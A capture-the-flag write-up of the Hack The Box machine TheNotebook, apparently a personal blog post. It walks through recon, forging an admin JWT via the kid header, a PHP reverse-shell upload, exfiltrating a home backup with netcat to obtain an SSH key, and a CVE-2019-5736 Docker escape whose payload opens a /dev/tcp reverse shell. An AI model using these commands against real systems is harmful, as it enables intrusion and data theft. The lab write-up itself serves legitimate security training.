HTB - TheNotebook

TheNotebook Logo

Completed on: July 8, 2021
Time to Complete: 1.5 hours
OS: Linux
Difficulty: Medium


The Hack The Box machine, TheNotebook, allows us to explore misconfigurations within JWT tokens, which chained with an unrestricted file upload of php files, allows remote access to the machine. From here, I had to first privilege escalate to a user, which could be done by improper access control to the /var/backups directory, which led to access to ssh keys of the user. To get root privileges on the machine, I identified an older version of docker binary being utilized and per a misconfigured sudo privileges I was able to exploit CVE-2019-5736.


Full Port Scan

Nmap command: nmap -p 0-65535 --min-rate=1000 -T4


Nmap scan report for notebook.htb (
Host is up (0.029s latency).
Not shown: 65533 closed ports
22/tcp    open     ssh
80/tcp    open     http
10010/tcp filtered rxapi

Version and Default Script Scan

Nmap command: nmap -T4 -sV -sC -p 22,80,10010


Nmap scan report for notebook.htb (
Host is up (0.018s latency).

22/tcp    open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 86:df:10:fd:27:a3:fb:d8:36:a7:ed:90:95:33:f5:bf (RSA)
|   256 e7:81:d6:6c:df:ce:b7:30:03:91:5c:b5:13:42:06:44 (ECDSA)
|_  256 c6:06:34:c7:fc:00:c4:62:06:c2:36:0e:ee:5e:bf:6b (ED25519)
80/tcp    open     http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: The Notebook - Your Note Keeper
10010/tcp filtered rxapi
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Port 80 - Nginx server

Manual Interaction

Navigating to the site (, I am redirected to /login path and asked to login:

Notebook login

Inserting random username and password, I am able to identify valid usernames through the login error messages. Through this, I identified that admin was a valid username:

Notebook login error

To check if I can attempt a brute force attack, I attempted to pass several passwords for admin account and there was no account lockout in place. Looking over the source code, I can identify that a POST request is being sent with credentials passed through the HTTP request body:

Notebook login source code

Directory Brute Force

Using gobuster, I attempted a directory brute force attack and identified four files under the web root directory:

Command: gobuster dir -u -w /usr/share/seclists/Discovery/Web-Content/common.txt


/admin                (Status: 403) [Size: 9]
/login                (Status: 200) [Size: 1250]
/logout               (Status: 302) [Size: 209] [-->]
/register             (Status: 200) [Size: 1422] 

With the found assets I moved to the attack stage to get initial access to the machine.

Initial Foothold

Login Brute Force

I used the following hydra command to attempt to brute force the password: hydra -l admin -P /usr/share/wordlists/rockyou.txt http-post-form "/login:username=^USER^&password=^PASS^:Incorrect Password"

After ~15m, no valid passwords were found.

Account Registration

Routing to /register file, I was prompted to register an account. I registered a test account (test@test.htb:test) and was given a JSON Web Token cookie.

Placing the web token into to see the decoded output, I identified there is a payload element for admin_cap and header element for kid (Key ID Header).

Decoded JWT

JWT overwrite

Looking over Ishara’s Medium post about exploiting kid to privilege escalate, I identified that the key ID is used to encode the JWS (JSON Web Signature). Since it’s pointing to localhost, I can supply my own private key and set admin_cap to true.

openssl genrsa -out privKey.key 2048
cat privKey.key | xclip -selection c #Places content of private key to clipboard
python3 -m http.server 7070

Now in I swapped the kid, admin_cap, and paste the content of our private_key. This will generate a valid encoded JWT on the left:

Overwriting JWT

Now I copied the encoded JWT and overwrote the JWT cookie using Dev Tools. After refreshing the page, I got access to the Admin Panel:

Overwritten JWT and Admin access

Enumerating Admin Panel

Enumerating the admin panel I identified the following things:

  • Site allows PHP execution.
  • Site has regular backups
  • Valid users: noah (61c9fba6-7434-4edd-845b-0f5156ae6bf7), admin (83b34009-7124-498b-b355-2ea95c512eb8)
  • Valid fullname: Nicholas Sparks (noah)
  • Site allows file upload

Reverse PHP Shell

Using the file upload function, I created, modified, and uploaded a reverse shell php and captured it using netcat:

cp /usr/share/webshells/php/php-reverse-shell.php revshell.php
vim revshell.php
sudo nc -nlvp 443

Uploading reverse php file

Netcat capturing reverse php call

I got access to www-data account, enumerating valid usernames, I found noah and root are valid accounts.

Privilege Escalation to Noah


Reviewing backup files, I see that /home has a backup that we can read within /var/backups, I sent this to my kali box using netcat:

# Local Machine
nc -nvlp 9090 > home.tar.gz
# Remote Machine
cd /var/backups
nc -w 3 9090 < home.tar.gz

Decompressing home backup

After decompressing the file (tar -xf), we get access to noah’s home directory. Which has an ssh private and public key. Let’s use this to ssh as noah:

cp home/noah/.ssh/id_rsa .
ssh -i id_rsa noah@notebook.htb

Now we have ssh access as noah. Let’s proceed to privilege escalate.

Privilege Escalation to root

Sudo privileges

Running a few basic enumeration commands, we identify that noah can run a certain command as root: (sudo -l)

User noah may run the following commands on thenotebook:
    (ALL) NOPASSWD: /usr/bin/docker exec -it webapp-dev01*

Running docker --version we can verify that docker is running on an older version (newest is 20.10), which has a known breakout vulnerability (CVE-2019-5736) which requires sudo docker exec access:

Docker version 18.06.0-ce, build 0ffa825


More details on the vulnerably can be found in Palo Alto.

Following , we will create a sh binary that will overwrite /bin/sh on the docker instance. This will let us elevate to a root shell.

# Local Machine - Window 1
vim main.go
# Edit the following line:
# var payload = "#/bin/bash \n bash -i >& /dev/tcp/ 0>&1"
go build main.go
python3 -m http.server 8000
# Local Machine - Window 2
nc -nvlp 443

# Remote Machine - Window 1
sudo docker exec -it webapp-dev01 bash
cd /tmp
wget # REPLACE with your IP
chmod +x main
# Expected Output:
# [+] Overwritten /bin/sh successfully
# [+] Found the PID: 7993
# [+] Successfully got the file handle
# [+] Successfully got write handle &{0xc000392060}

# Remote Machine - Window 2
sudo docker exec -it webapp-dev01 /bin/sh # This make 

Exploiting CVE-2019-5736

A root reverse shell was captured through netcat and I got access to root user.